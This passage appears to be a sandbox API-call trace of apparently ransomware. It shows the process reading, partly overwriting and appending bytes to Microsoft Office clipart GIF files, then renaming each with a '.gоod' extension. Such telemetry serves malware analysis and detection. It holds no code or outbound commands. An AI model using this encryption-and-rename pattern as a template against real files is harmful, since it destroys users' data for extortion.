lpNumberOfBytesWritten=0x1faedb98*=0xa30, lpOverlapped=0x0) returned 1 [0139.881] CloseHandle (hObject=0x6e4) returned 1 [0139.881] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF", lpFilePart=0x0) returned 0x44 [0139.881] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0139.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0139.881] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4f95d4ec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa30)) returned 1 [0139.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0139.881] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.gоod")) returned 1 [0139.882] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF", lpFilePart=0x0) returned 0x44 [0139.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0139.882] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3a77e80 | out: lpFileInformation=0x3a77e80*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f)) returned 1 [0139.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0139.882] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF", lpFilePart=0x0) returned 0x44 [0139.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0139.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0139.882] GetFileType (hFile=0x6e4) returned 0x1 [0139.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0139.882] GetFileType (hFile=0x6e4) returned 0x1 [0139.882] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0139.882] ReadFile (in: hFile=0x6e4, lpBuffer=0x3a78298, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3a78298*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0139.884] CloseHandle (hObject=0x6e4) returned 1 [0139.884] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF", lpFilePart=0x0) returned 0x44 [0139.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0139.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0139.884] GetFileType (hFile=0x6e4) returned 0x1 [0139.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0139.884] GetFileType (hFile=0x6e4) returned 0x1 [0139.884] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x296f [0139.884] WriteFile (in: hFile=0x6e4, lpBuffer=0x3a79530*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3a79530*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0139.885] CloseHandle (hObject=0x6e4) returned 1 [0139.885] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF", lpFilePart=0x0) returned 0x44 [0139.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0139.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0139.885] GetFileType (hFile=0x6e4) returned 0x1 [0139.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0139.885] GetFileType (hFile=0x6e4) returned 0x1 [0139.885] ReadFile (in: hFile=0x6e4, lpBuffer=0x3a7b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3a7b7f0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0139.962] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0140.290] CloseHandle (hObject=0x6e4) returned 1 [0140.290] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF", lpFilePart=0x0) returned 0x44 [0140.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0140.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0140.290] GetFileType (hFile=0x6e4) returned 0x1 [0140.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0140.290] GetFileType (hFile=0x6e4) returned 0x1 [0140.290] WriteFile (in: hFile=0x6e4, lpBuffer=0x34fafa8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x34fafa8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0140.290] CloseHandle (hObject=0x6e4) returned 1 [0140.290] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF", lpFilePart=0x0) returned 0x44 [0140.290] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0140.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0140.291] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4fd631ea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x297f)) returned 1 [0140.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0140.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.gоod")) returned 1 [0140.291] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF", lpFilePart=0x0) returned 0x44 [0140.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0140.291] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), fInfoLevelId=0x0, lpFileInformation=0x39fc650 | out: lpFileInformation=0x39fc650*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc)) returned 1 [0140.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0140.292] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF", lpFilePart=0x0) returned 0x44 [0140.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0140.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0140.292] GetFileType (hFile=0x6e4) returned 0x1 [0140.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0140.292] GetFileType (hFile=0x6e4) returned 0x1 [0140.292] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0140.292] ReadFile (in: hFile=0x6e4, lpBuffer=0x39fca68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x39fca68*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0140.294] CloseHandle (hObject=0x6e4) returned 1 [0140.294] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF", lpFilePart=0x0) returned 0x44 [0140.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0140.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0140.294] GetFileType (hFile=0x6e4) returned 0x1 [0140.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0140.294] GetFileType (hFile=0x6e4) returned 0x1 [0140.294] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x3bcc [0140.294] WriteFile (in: hFile=0x6e4, lpBuffer=0x39fdd00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x39fdd00*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0140.295] CloseHandle (hObject=0x6e4) returned 1 [0140.295] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF", lpFilePart=0x0) returned 0x44 [0140.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0140.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0140.295] GetFileType (hFile=0x6e4) returned 0x1 [0140.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0140.295] GetFileType (hFile=0x6e4) returned 0x1 [0140.295] ReadFile (in: hFile=0x6e4, lpBuffer=0x39fffc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x39fffc0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0140.896] CloseHandle (hObject=0x6e4) returned 1 [0140.896] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF", lpFilePart=0x0) returned 0x44 [0140.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0140.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0140.896] GetFileType (hFile=0x6e4) returned 0x1 [0140.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0140.896] GetFileType (hFile=0x6e4) returned 0x1 [0140.896] WriteFile (in: hFile=0x6e4, lpBuffer=0x358eb48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x358eb48*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0140.896] CloseHandle (hObject=0x6e4) returned 1 [0140.896] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF", lpFilePart=0x0) returned 0x44 [0140.896] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0140.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0140.896] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5030ce38, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3bdc)) returned 1 [0140.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0140.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.gоod")) returned 1 [0140.897] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF", lpFilePart=0x0) returned 0x44 [0140.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0140.898] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), fInfoLevelId=0x0, lpFileInformation=0x38f8048 | out: lpFileInformation=0x38f8048*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c3)) returned 1 [0140.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0140.898] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF", lpFilePart=0x0) returned 0x44 [0140.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0140.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0140.898] GetFileType (hFile=0x6e4) returned 0x1 [0140.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0140.898] GetFileType (hFile=0x6e4) returned 0x1 [0140.993] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0140.994] ReadFile (in: hFile=0x6e4, lpBuffer=0x39d5fe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x39d5fe8*, lpNumberOfBytesRead=0x1faedd28*=0x4c3, lpOverlapped=0x0) returned 1 [0140.995] CloseHandle (hObject=0x6e4) returned 1 [0140.995] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF", lpFilePart=0x0) returned 0x44 [0140.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0140.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0140.995] GetFileType (hFile=0x6e4) returned 0x1 [0140.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0140.995] GetFileType (hFile=0x6e4) returned 0x1 [0140.995] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x14c3 [0140.995] WriteFile (in: hFile=0x6e4, lpBuffer=0x39d7280*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x39d7280*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0140.995] CloseHandle (hObject=0x6e4) returned 1 [0140.996] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF", lpFilePart=0x0) returned 0x44 [0140.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0140.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0140.996] GetFileType (hFile=0x6e4) returned 0x1 [0140.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0140.996] GetFileType (hFile=0x6e4) returned 0x1 [0140.996] ReadFile (in: hFile=0x6e4, lpBuffer=0x39d9540, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x39d9540*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0141.029] CloseHandle (hObject=0x6e4) returned 1 [0141.029] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF", lpFilePart=0x0) returned 0x44 [0141.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0141.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.029] GetFileType (hFile=0x6e4) returned 0x1 [0141.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0141.029] GetFileType (hFile=0x6e4) returned 0x1 [0141.029] WriteFile (in: hFile=0x6e4, lpBuffer=0x39d8298*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x39d8298*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0141.029] CloseHandle (hObject=0x6e4) returned 1 [0141.029] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF", lpFilePart=0x0) returned 0x44 [0141.029] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: 